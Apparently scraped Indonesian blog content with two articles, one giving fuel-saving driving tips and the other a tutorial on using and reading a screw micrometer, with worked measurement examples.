Harga bahan bakar yang cenderung selalu meningkat dari waktu ke waktu membuat kita harus pandai-pandai menyiasati pos pengeluaran untuk bahan bakar.

Ya, menghemat bahan bakar di saat harga bahan bakar tidak lagi murah seperti sekarang ini tentu sangatlah penting untuk dilakukan, apalagi bagi kendaraan yang digunakan sebagai pelaku usaha seperti taxi online.

Meskipun penghematan bahan bakar tergantung dari banyak faktor seperti contohnya perawatan dan jenis mesinnya, namun perilaku dan kebiasaan saat mengemudi mobil, memiliki efek yang cukup signifikan untuk menghemat konsumsi bahan bakar yang digunakan selama berkendara.


Berikut adalah tips mengemudi yang hemat bahan bakar




cara mengemudi yang hemat bahan bakar



1. Injak pedal gas secara perlahan.


Menekan pedal gas secara tiba-tiba, terutama saat mobil baru mulai berjalan bisa membuat konsumsi bahan bakar mobil anda menjadi lebih boros.

Pasalnya, udara yang masuk ke mesin secara tiba-tiba dalam jumlah banyak, akan memicu sistem injeksi menyemprotkan bahan bakar lebih banyak dari biasanya. Hal ini lah yang bisa menyebabkan konsumsi bahan bakar menjadi lebih boros.

Oleh karena itu, cobalah untuk menginjak pedal gas secara perlahan ketika mobil mulai melaju.


2. Pindahkan gigi pada rpm ideal


Untuk pengguna mobil manual, oper dan pindahkan gigi transmisi pada rpm ideal yang berkisar diantara 2500-3000 rpm. Pada rpm ini, tenaga mesin dan kecepatan mobil cenderung berimbang, sehingga pasokan bahan bakar yang dibutuhkan mesin untuk meningkatkan kecepatan mobil bisa di kurangi.

Jika perpindahan gigi dilakukan pada rpm yang lebih rendah maka anda perlu menekan pedal gas lebih dalam lagi guna mencapai kecepatan mobil yang seimbang, ini berarti dibutuhkan bahan bakar yang lebih banyak kedalam mesin.

Sedangkan jika dilakukan pada rpm tinggi, kecepatan yang dihasilkan tidak sebanding dengan bahan bakar yang di supply ke mesin. Ini berarti bahan bakar terbakar sia-sia tanpa terjadi peningkatan kecepatan kendaraan. Selain itu, mesin akan terdengar lebih meraung dan kasar.


3. Manfaatkan fitur ECO driving selama berkendara


Saat ini, mobil-mobil dengan fitur ECO driving sudah banyak beredar. Fitur ini dapat membantu pengemudi mengetahui apakah cara mengemudi yang dilakukan masuk kedalam kategori ekonomis atau tidak.

Pada beberapa tipe mobil yang sudah beredar, lampu indikator dashboard bertuliskan ECO akan menyala apabila cara mengemudi yang dilakukan sudah ekonomis dan sesuai dengan ketentuan mobil tersebut.

Begitu pula sebaliknya, jika cara berkendara yang dilakukan tidak ekonomis, maka lampu indikator ECO akan padam.


4. Atur kecepatan kendaraan agar selalu konstan dan stabil


Jika di mobil tidak terdapat fitur ECO driving, maka atur kecepatan kendaraan secara konstan dan stabil kurang dari 100km/jam, atau sesuaikan dengan kecepatan kendaraan sekitar anda dengan mendahulukan safety dan keselamatan berkendara.

Hindari melakukan pengereman dan akselerasi tiba-tiba yang bisa meningkatkan konsumsi bahan bakar mobil anda.

Menjaga kecepatan kendaraan pada kecepatan sedang, selain mengrangi resiko kecelakan, anda juga dapat menghemat 25% bahan bakar dengan kecepatan kurang dari 100 km/jam.


5. Matikan mesin saat tidak dibutuhkan


Salah satu perilaku mengemudi yang bisa membuat boros bahan bakar adalah membiarkan mesin tetap hidup saat parkir mobil walaupun sebentar, atau ketika kondisi jalan sedang macet total (stuck) seperti ketika saat kondisi mudik di beberapa tahun lalu.

Mematikan mesin secara total akan menghentikan supply bahan bakar ke mesin secara langsung sehingga dapat menghemat penggunaan bahan bakar.

Bahkan beberapa teknologi pada kendaraan untuk mematikan serta menghidupkan mesin mobil secara otomatis saat di lampu merah (dikenal dengan nama STOP and GO) sudah mulai diaplikasikan diluar negeri, khususnya pada mobil-mobil keluaran terbaru agar mobil menjadi lebih ramah lingkungan dan hemat bahan bakar.


6. Hindari membawa muatan yang berlebihan


Acapkali mobil yang digunakan, melebihi kapasitas angkut barang ataupun penumpang. Muatan yang berlebihan ini, tentu akan membebani mesin untuk bekerja lebih berat.

Tenaga mesin yang dikeluarkan tidak lagi sesuai dengan kecepatan yang didapat, akibatnya konsumsi bahan bakar meningkat dan bahkan cenderung menjadi lebih boros.


7. Selalu rencanakan rute perjalanan


Melakukan perencanaan rute perjalanan dinilai lebih baik dan dapat menghemat bahan bakar. Misalnya, rencana untuk memilih rute-rute jalan yang lancar dan tidak macet, atau berusaha untuk menghindari jam-jam sibuk dengan lalu lintas yang padat. Dengan begitu kita tidak akan terlalu sering berhenti dan terkena macet.


[ad_2]

Source link

Mikrometer Sekrup - Cara Menggunakan, Cara Membaca, Contoh Soal

[ad_1]




Mikrometer sekrup merupakan sebuah alat ukur yang sangat presisi dengan tingkat ketelitian 10x lipat lebih tinggi dibanding dengan jangka sorong. Mikrometer sekrup pertama kali di temukan pada abad ke-17 oleh William Gascoigne di tahun 1638 yang saat itu merupakan seorang ilmuwan astronomi berkebangsaan Inggris.

Secara umum dan mungkin yang paling sering kita lihat adalah mikrometer sekrup outside. Mikrometer sekrup outside memiliki model seperti bulan sabit dengan gagang yang dapat diputar serta memiliki skala pengukuran.

Namun begitu, mikrometer sekrup ini juga terdiri dari banyak jenis dan model yang sangat tergantung dari fungsi mikrometer sekrup itu sendiri seperti contohnya untuk mengukur kedalaman (Depth micrometer), mengukur ketebalan luar (Outside micrometer), serta untuk mengukur kertebalan (Inside micrometer) dalam sebuah benda.

Fungsi Mikrometer Sekrup


Seperti sudah dijelaskan sebelumnya bahwa fungsi mikrometer sekrup ini sangat banyak tergantung dari model mikrometer yang digunakan, berikut 3 fungsi mikrometer sekrup berdasarkan model dan bentuk mikrometernya itu sendiri.
Fungsi mikrometer sekrup
  1. Depth micrometer : Depth mikrometer adalah mikrometer sekrup yang berfungsi untuk mengukur kedalaman sebuah lubang yang ada pada sebuah benda berlubang.

  2. Inside micrometer : Inside micrometer adalah mikrometer sekrup yang berfungsi untuk mengukur diameter dalam sebuah benda berongga.

  3. Outside micrometer : Outside micrometer adalah mikrometer sekrup yang berfungsi untuk mengukur ketebalan sebuah benda


Sebenarnya masih banyak lagi fungsi dan model yang bisa ditemukan untuk mikrometer sekrup ini, namun mikrometer sekrup tersebut cukup jarang dilihat karena umumnya digunakan secara khusus untuk pengukuran yang khusus pula.

Ketelitian mikrometer sekrup


Meskipun mikrometer sekrup ini memiliki banyak fungsi dan model, namun tingkat ketelitian mikrometer sekrup ini tetap sama, yaitu 0,01 mm. Tingkat ketelitian mikrometer sekrup ini merupakan yang paling presisi dibanding dengan 2 alat ukur lainnya seperti jangka sorong yang memiliki tingkat ketelitian 0,1 mm, dan mistar (penggaris) dengan tingkat ketelitian sebesar 1 mm.

Selain itu, mikrometer sekrup juga memiliki batasan skala ukur. Untuk mengukur benda dengan ketebalan yang berbeda dibutuhkan mikrometer sekrup dengan skala ukur yang juga berbeda.

ketelitian mikrometer sekrup

Seperti contohnya, untuk benda dengan ketebalan 1 cm dibutuhkan mikrometer sekrup dengan skala 0-25 mm. Sedangkan untuk mengukur benda dengan ketebalan 6 cm dibutuhkan mikrometer sekrup dengan skala 50-75 mm.

Bagian-Bagian Mikrometer Sekrup


Berikut bagian-bagian mikrometer sekrup jenis outside yang umum digunakan oleh banyak orang. Perhatikan pada gambar bagian-bagian mikrometer sekrup jenis outside dibawah berikut ini
bagian-bagian mikrometer sekrup

Frame (Rangka)

Bagian Frame Mikrometer sekrup sering juga disebut rangka atau bingkai. Bagian ini berbentuk seperti huruf C atau huruf U dan terbuat dari bahan logam yang tahan panas, tebal serta kuat karena bertujuan agar dapat meminimalkan terjadinya peregangan yang dapat menganggu nilai dan proses pengukuran sebuah benda.

Anvil (Poros Tetap)

Bagian mikrometer sekrup berikutnya adalah Anvil yang juga sering disebut sebagai Poros Tetap. Anvil berfungsi sebagai penahan benda saat akan diukur saat menggunakan mikrometer sekrup ini.

Spindel (Poros Gerak)

Bagian mikrometer sekrup selanjutnya ialah Spindel (Poros Gerak). Spindle merupakan sebuah batang silinder yang terhubung dengan thimble sehingga dapat digerakkan menuju Anvil (Poros Tetap) untuk menjepit benda yang akan diukur.

Lock Nut (Pengunci)

Bagian mikrometer sekrup lainnya ialah Lock Nut (Pengunci). Lock nut memiliki fungsi untuk menahan dan mengunci Spindle (Poros Gerak) agar tidak bergerak saat proses pengukuran sebuah benda.

Sleeve (Skala Utama)

Bagian mikrometer sekrup berikutnya ialah Sleeve (Skala Utama). Sleeve merupakan tempat dipasangnya Skala Utama pada mikrometer sekrup yang diukur dalam satuan Milimeter (mm).

Thimbel (Skala Putar)

Bagian mikrometer sekrup selanjutnya ialah Thimble. Thimble merupakan tempat Skala Nonius (Skala Putar) Mikrometer berada. Ukuran pada skala putar ini di hitung dalam satuan 0.01 mm.

Ratchet (Knob putar)

Bagian mikrometer sekrup yang terakhir adalah Ratchet (Knob putar). Ratchet berfungsi untuk memutar Spindle (Poros Gerak). Fungsi ratchet ini mirip dengan fungsi bagian Thimble yaitu untuk memutar Spindle, namun putarannya lebih lambat dari Thimble dan memiliki pengaman yang bertujuan untuk mencegah rusaknya benda yang diukur saat ditekan oleh Spindle.

Disaat Spindle sudah menempel rapat dengan benda yang diukur, maka pada ratchet akan keluar suara "klik" dan mencegah spindel agar tidak terus bergerak menekan benda yang diukur tersebut.

Cara menggunakan Mikrometer sekrup


Berikut adalah cara menggunakan mikrometer sekrup, perhatikan langkah-langkahnya dibawah ini
  1. Pastikan pengunci (lock nut) pada alat ukur mikrometer sekrup ini sudah dalam posisi terbuka

  2. Periksa skala pada Sleeve dan skala pada Thimble sudah sama-sama segaris (menunjuk pada angka nol ) dengan cara memutar thimble searah jarum jam agar ujung poros gerak menyentuh ujung poros tetap.

  3. Putar kembali thimble berlawanan arah jarum jam untuk membuka poros gerak.

  4. Letakkan benda yang akan diukur diantara poros gerak dan poros tetap, lalu putar thimble kembali searah jarum jam untuk menjepit benda yang diukur. Sesaat sebelum poros gerak menjepit terlalu keras, lanjutkan putaran dengan menggunakan ratchet hingga terdengar bunyi klik.

  5. Putar ratchet dua hingga tiga putaran untuk memastikan bahwa ujung poros gerak sudah menempel dengan sempurna pada beda yang akan diukur.

  6. Putar pengunci pada mikrometer sekrup ke posisi lock (mengunci) agar poros gerak tidak dapat bergeser dan berubah ukurannya.

  7. Bacalah nilai ukur benda dengan menggunakan nilai yang tertera pada skala utama dan skala nonius.

Cara membaca Mikrometer Sekrup


Untuk membaca nilai ukur dari mikrometer sekrup ini, kita perlu mengetahui nilai pada skala yang ada pada mikrometer sekrup, dimana nilai skala pada mikrometer sekrup ini terbagi menjadi dua jenis yaitu :

1. Skala Utama
Skala utama adalah skala yang terdapat pada bagian sleeve (skala utama) dan memiliki dua angka yang diletakkan di atas garis dan dibawah garis skala.

  • Angka diatas menunjukkan nilai satuan dengan ukuran : 1, 2, 3, 4, 5 mm, dan seterusnya

  • Angka dibawah menunjukkan nilai pecahan dengan ukuran : 1,5; 2,5; 3,5; 4,5; 5,5 mm, dan seterusnya, setiap garisnya menunjukkan nilai 0,50 mm


2. Skala nonius atau skala putar
Skala nonius atau skala putar adalah skala yang terdapat pada bagian thimble dan memiliki angka 1 sampai 50. Setiap skala nonius berputar mundur 1 kali putaran, maka skala utama bertambah 0,5 mm, begitu pula sebaliknya, jika skala nonius berputar maju 1 kali putaran, maka skala utama berkurang 0,5 mm.

1 mm pada skala utama sama dengan 100 angka pada skala nonius (2 kali putaran) sehingga bisa ditemukan bahwa 1 skala nonius bernilai 0,01mm.

cara membaca mikrometer sekrup

Berikut cara membaca mikrometer sekrup

  1. letakkan mikrometer sekrup satu arah sehingga bisa dilihat dengan jelas.

  2. Baca terlebih dahulu nilai skala utama dari mikrometer sekrup tersebut. Untuk bagian atas garis menunjukkan nilai satuan (mm) seperti 1 mm dan seterusnya, sedangkan angka pada bawah garis skala menunjukkan nilai pecahan dengan nilai 0.50 mm.

  3. Perhatikan contohnya pada gambar dibawah berikut
    cara membaca mikrometer sekrup

  4. Dari gambar diatas, garis skala atas menunjukan angka 5 mm dan garis skala bagian bawah menunjukan 0,50 mm. Jumlahkan kedua hasil diatas maka skala utama pada contoh soal mikrometer diatas menunjukan angka 5,50 mm.

  5. Selanjutnya, baca skala nonius melalui garis yang menunjuk tepat dengan garis pembagi pada skala utama (segaris dengan garis tengah skala utama). Pada contoh gambar di atas, skala nonius menunjukkan angka 30. Lalu kalikan dengan nilai 0,01 mm sehingga skala noniusnya menunjukan nilai 0,30 mm.

  6. Setelah terbaca nilai skala utama dan bilai skala nonius, selanjutnya tinggal menjumlahkan kedua nilai skala tersebut. Pada contoh soal mikrometer sekrup yang ada pada gambar diatas maka hasil pengukurannya adalah
    5,50 mm (skala utama) + 0,30 mm (skala nonius) = 5,8 mm
    cara membaca mikrometer sekrup 2

  7. Jadi , nilai ukur benda pada contoh gambar mikrometer sekrup diatas adalah 5,80 mm

Contoh Soal Mikrometer Sekrup


Berikut adalah contoh soal mikrometer sekrup lainnya untuk mempermudah dalam memahami cara membaca mikrometer sekrup

Soal :

Perhatikan pada gambar dibawah berikut
contoh soal mikrometer sekrup

Berapa nilai yang ditunjukkan pada gambar mikrometer sekrup diatas ?

Jawab :

Nilai yang ditunjukkan pada gambar mikrometer sekrup diatas adalah :
  • Skala utama atas (nilai satuan) = 10 mm

  • Skala utama bawah (nilai pecahan) = 0,5 mm

  • Skala nonius = 47 x 0,01 mm = 0,47 mm

  • Hasil pengukuran yaitu 10 mm + 0,5 mm + 0,47 mm = 10,97 mm

contoh jawaban mikrometer sekrup

Maka, hasil pengukuran pada gambar mikrometer sekrup diatas adalah 10,97 mm

Demikianlah artikel tentang mikrometer sekrup, cara menggunakan, cara membaca berikut contoh soalnya yang bisa ombro sampaikan semoga bisa bermanfaat

Artikel ini diarsipkan pada kategori : Alat Bengkel



[ad_2]

Source link